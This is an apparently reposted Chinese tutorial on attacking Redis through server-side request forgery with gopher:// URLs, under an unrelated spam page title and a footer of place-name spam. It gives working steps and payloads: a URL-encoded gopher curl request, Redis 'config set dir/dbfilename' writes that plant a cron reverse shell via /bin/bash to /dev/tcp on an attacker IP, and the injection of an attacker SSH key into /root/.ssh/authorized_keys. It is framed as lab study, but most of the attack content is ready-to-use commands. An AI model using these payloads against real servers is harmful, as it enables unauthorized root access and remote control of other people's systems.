中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Redis中服務端請求偽造SSRF的示例分析

發布時間:2022-01-05 18:14:51 來源:億速云 閱讀:141 作者:小新 欄目:網絡管理

這篇文章主要為大家展示了“Redis中服務端請求偽造SSRF的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Redis中服務端請求偽造SSRF的示例分析”這篇文章吧。

SSRF,即服務端請求偽造。當服務器需要請求資源時,請求的資源、協議、路徑等可被用戶控制。即可造成SSRF攻擊。

本文著重研究通過 gopher協議 ,對 Redis服務 進行SSRF攻擊,進而getshell。

gopher協議格式

首先先了解gopher協議為何物,格式是什么樣子:

gopher://<host>:<port>//<gopher-path>_后接TCP數據流

在我們測試攻擊redis時,可以使用 linux 自帶的 curl進行測試。

如果使用Centos,為了確保實驗成功,最好將 Centos的 selinux關閉。

關閉 selinux:

setenforce 0

攻擊redis

(1)實驗環境搭建

虛擬機裝臺 Centos7即可。

redis安裝:

wget http://download.redis.io/releases/redis-4.0.6.tar.gz  //下載redis壓縮包

yum install gcc //安裝make時必備的gcc

tar -xzvf redis-4.0.6.tar.gz //解壓壓縮包 cd redis-4.0.6 //進入壓縮包目錄

make MALLOC=libc //編譯

cd src //編譯完成后會生成一個文件夾src,進入src文件夾

make install //安裝

redis運行:

redis-4.0.6 目錄下,redis.conf 是最初始的redis配置文件

redis-4.0.6/src 目錄下,有兩個最重要的可執行文件:

redis-server -- 服務端

redis-cli -- 客戶端

直接運行 服務端程序,即可開啟 redis 服務。

./redis-server

Redis中服務端請求偽造SSRF的示例分析

直接運行 客戶端程序,默認連接本地的redis服務:

./redis-cli

(2)初探與介紹

嘗試攻擊無密碼的Redis:

首先我們得開啟抓包軟件,捕獲與redis通信的數據包。

在Linux中,可以用tcpdump來抓流量:

tcpdump -i lo -s 0 port 6379 -w redis.pcap

若是抓本地接口的流量,注意是lo不是eth0

我們先登錄,然后執行 set key 操作:

Redis中服務端請求偽造SSRF的示例分析

將tcpdump抓到的包導出來,用wireshark打開,追蹤TCP流

只看我們輸入的數據,不看服務端返回的數據,可以看到只有幾行:

Redis中服務端請求偽造SSRF的示例分析

在 “顯示和保存數據為” 這一位置,選擇 Hex轉儲,將會得到如下的數據:

Redis中服務端請求偽造SSRF的示例分析

其中 畫紅色框的就是一會用到的payload

將所有東西都復制出來,使用編輯器去掉除了紅框以外的所有無關數據

Redis中服務端請求偽造SSRF的示例分析

然后給每個十六進制值前加上一個百分號,排成一行即可:

Redis中服務端請求偽造SSRF的示例分析

構造 curl 請求:

curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -

回顯:

Redis中服務端請求偽造SSRF的示例分析

查詢key:

Redis中服務端請求偽造SSRF的示例分析

可以成功設置key。

嘗試攻擊使用密碼的redis:

先配置redis為 需要密碼登錄:

修改redis下的配置文件 redis.conf,搜索 requirepass 關鍵字。

默認 requirepass 是被注釋的,將注釋符號刪除,再在 requirepass 后面填寫想要給 redis 設置的密碼

Redis中服務端請求偽造SSRF的示例分析

配置好后啟動 redis 的命令為:

./redis-server redis配置文件路徑

Redis中服務端請求偽造SSRF的示例分析

嘗試攻擊有密碼redis:

首先,開啟tcpdump抓包,然后在redis命令行中執行操作:

Redis中服務端請求偽造SSRF的示例分析

重新抓流量,和之前一樣操作,發現密碼驗證也就是加多了一個auth命令:

Redis中服務端請求偽造SSRF的示例分析

重復上文的步驟即可。

(2)GetShell:

接下來講重點:通過 set key GetShell:

思路:

(1)將反彈shell命令寫到定時任務里,攻擊機只需要開一個netcat端口即可。

(2)寫入ssh-keygen,進行ssh免密登錄。

一個個細細道來。

(1)定時任務反彈shell

基本要求:

redis需要是以 root 權限運行,不然寫不到 /var/spool/cron/ 目錄下

1.首先得知道 Linux 下的定時任務是個什么東西:

Linux下設置定時任務命令為 crontab

配置文件為 /etc/crontab

下面這張圖是配置文件里的內容,很好的說明了 crontab 配置的格式

Redis中服務端請求偽造SSRF的示例分析

這個配置文件應該只是供參考用的,我們的定時任務需要自己手動寫在 /var/spool/cron/ 目錄下

如果我們要每分鐘執行一次命令 echo1 > /tmp/1.txt

則可以這么操作:

vim /var/spool/cron/root //root是文件名,一般以執行的用戶命名

在文件中寫入

* * * * * root echo1 > /tmp/1.txt

保存退出后,重啟 crontab 服務:

systemctl restart crond.service

即可每一分鐘執行一次該命令

2.接著要知道linux下通過輸入輸出流反彈shell

 命令:

/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1

 直接看效果:Redis中服務端請求偽造SSRF的示例分析

Redis中服務端請求偽造SSRF的示例分析

這里巧妙的結合了Linux中 文件描述符、重定向符和 /dev/

文件描述符 1 表示標準輸入

文件描述符 2 表示標準輸出

/bin/bash -i 表示的是調用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。

重定向時加入一個描述符 &,表示直接作為數據流輸入。不加 & 時,重定向默認是輸出到文件里的。

做個實例就清晰明了了

Redis中服務端請求偽造SSRF的示例分析

/dev/tcp/ip地址/端口號 是linux下的特殊文件,表示對這個地址端口進行tcp連接

這里我們設置成攻擊機監聽的地址

最后面的 0>&1 。此時攻擊機和靶機已經建立好了連接,當攻擊機進行輸入時,就是這里的 0(標準輸入)

通過重定向符,重定向到 1(標準輸入)中,由于是作為 /bin/bash 的標準輸入,所以就執行了系統命令了。

3.還需要知道Redis如何寫入文件

Redis 中可以導出當前數據庫中的 key 和 value

并且可以通過命令配置導出路徑和文件名:

config set dir /tmp/test      //設置導出路徑
config set dbfilename root    //設置導出文件名
save                          //執行導出操作

Redis中服務端請求偽造SSRF的示例分析

Redis中服務端請求偽造SSRF的示例分析

可以看到,格式非常亂。不過還好linux中的cron不會報錯,只要讀到一行正確配置即可執行。

通過crontab定時任務 getshell

為了能讓linux能夠正確讀到一行,我們在 set key 的時候手動添加 \n(換行)

redis語句:

config set dir /var/spool/cron
config set dbfilename root
set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
save

轉換成 gopher協議,進行curl請求:

Redis中服務端請求偽造SSRF的示例分析

成功寫入:

Redis中服務端請求偽造SSRF的示例分析

成功getshell:

Redis中服務端請求偽造SSRF的示例分析

注意:這里有一個坑點。

cron文件不需要寫用戶名,不然會報錯:

Redis中服務端請求偽造SSRF的示例分析

Redis中服務端請求偽造SSRF的示例分析

(2)ssh免密登錄

在linux中,ssh可配置成免密登錄。

需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes

改為

StrictModes no

然后重啟sshd即可

免密登錄條件:

客戶端生成公鑰和私鑰

將公鑰上傳至服務端 即可

在SSRF利用中,同樣需要root權限運行 redis

如果不是root權限,需要能夠 ssh 登錄的用戶權限運行 redis

正常免密登錄流程:

1.客戶端先生成公鑰和私鑰

使用工具 ssh-keygen:

ssh-keygen -t rsa

Redis中服務端請求偽造SSRF的示例分析

執行完畢后將會在 用戶家目錄中的 .ssh文件夾中放有公鑰與私鑰 文件

有.pub后綴的就是公鑰,沒有.pub后綴的就是私鑰

Redis中服務端請求偽造SSRF的示例分析

2.上傳公鑰至服務器

將公鑰上傳至服務端的 /root/.ssh目錄下

嫌麻煩可以用 ssh-copy-id工具

Redis中服務端請求偽造SSRF的示例分析

Redis中服務端請求偽造SSRF的示例分析

3.重命名文件為authorized_keys

文件名要重命名為 authorized_keys

authorized_keys 文件內容如下:

Redis中服務端請求偽造SSRF的示例分析

如果有多臺客戶端需要免密登錄,新起一行,新行中寫對應的客戶端的公鑰值即可

類似這樣:

Redis中服務端請求偽造SSRF的示例分析

4.免密登錄

傳好后即可免密登錄:

Redis中服務端請求偽造SSRF的示例分析

ssh免密登錄 getshelll

我們知道了要寫入的文件位置、要寫入的內容(公鑰事先生成好),我們可以構造redis語句了:

//先配置路徑
config set dir /root/.ssh      
config set dbfilename authorized_keys
//寫入公鑰
set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n"
//保存
save

改成gopher協議格式: 

Redis中服務端請求偽造SSRF的示例分析

查看 authorized_keys 文件:

Redis中服務端請求偽造SSRF的示例分析 

成功免密登錄:

Redis中服務端請求偽造SSRF的示例分析

以上是“Redis中服務端請求偽造SSRF的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

四平市| 榆树市| 沁阳市| 南安市| 郓城县| 中方县| 会同县| 淅川县| 麻江县| 昌平区| 宜丰县| 钟山县| 塔河县| 汉源县| 清镇市| 民勤县| 荃湾区| 察隅县| 紫阳县| 中西区| 贵南县| 石阡县| 政和县| 舒城县| 延吉市| 鄢陵县| 甘孜| 怀化市| 罗定市| 罗源县| 成安县| 晋宁县| 营山县| 马边| 峡江县| 江华| 浦城县| 咸宁市| 拜城县| 大同县| 平邑县|